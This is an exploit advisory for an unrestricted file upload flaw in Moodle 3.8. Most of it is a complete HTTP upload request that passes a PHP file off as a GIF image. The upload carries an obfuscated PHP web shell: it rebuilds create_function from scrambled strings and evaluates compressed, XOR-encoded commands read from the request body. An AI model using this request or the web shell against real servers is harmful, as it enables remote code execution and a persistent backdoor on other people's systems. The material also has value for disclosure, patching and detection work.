Moodle 3.8 Arbitary File Upload

`# Exploit Title: Moodle 3.8 - Unrestricted File Upload  
# Date: 2019-09-08  
# Exploit Author: Sirwan Veisi  
# Vendor Homepage: https://moodle.org/  
# Software Link: https://github.com/moodle/moodle  
# Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4...  
# Tested on: Moodle Version 3.8  
# CWE : CWE-434  
  
I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that  
allows the attacker to upload or transfer files of dangerous types.  
  
  
Example exploitation request:  
  
POST /repository/repository_ajax.php?action=upload HTTP/1.1  
Host: VulnerableHost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)  
Gecko/20100101 Firefox/80.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------38898830537874132223151601680  
Content-Length: 2763  
Origin: https://VulnerableHost  
Connection: close  
Referer: https://VulnerableHost/user/files.php  
Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai  
Upgrade-Insecure-Requests: 1  
  
-----------------------------38898830537874132223151601680  
Content-Disposition: form-data; name="repo_upload_file";  
filename="image.php"  
Content-Type: image/jpeg  
  
GIF89a;  
<?php  
$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');  
$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';  
$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';  
$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';  
$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';  
$N='}%%^$k{$j};}}retu%rn  
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';  
$e='Nmy694Bcj%Vc";fu%nction%  
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';  
$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';  
$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);  
$n=$Q('',$P);$n();  
?>  
  
-----------------------------  
`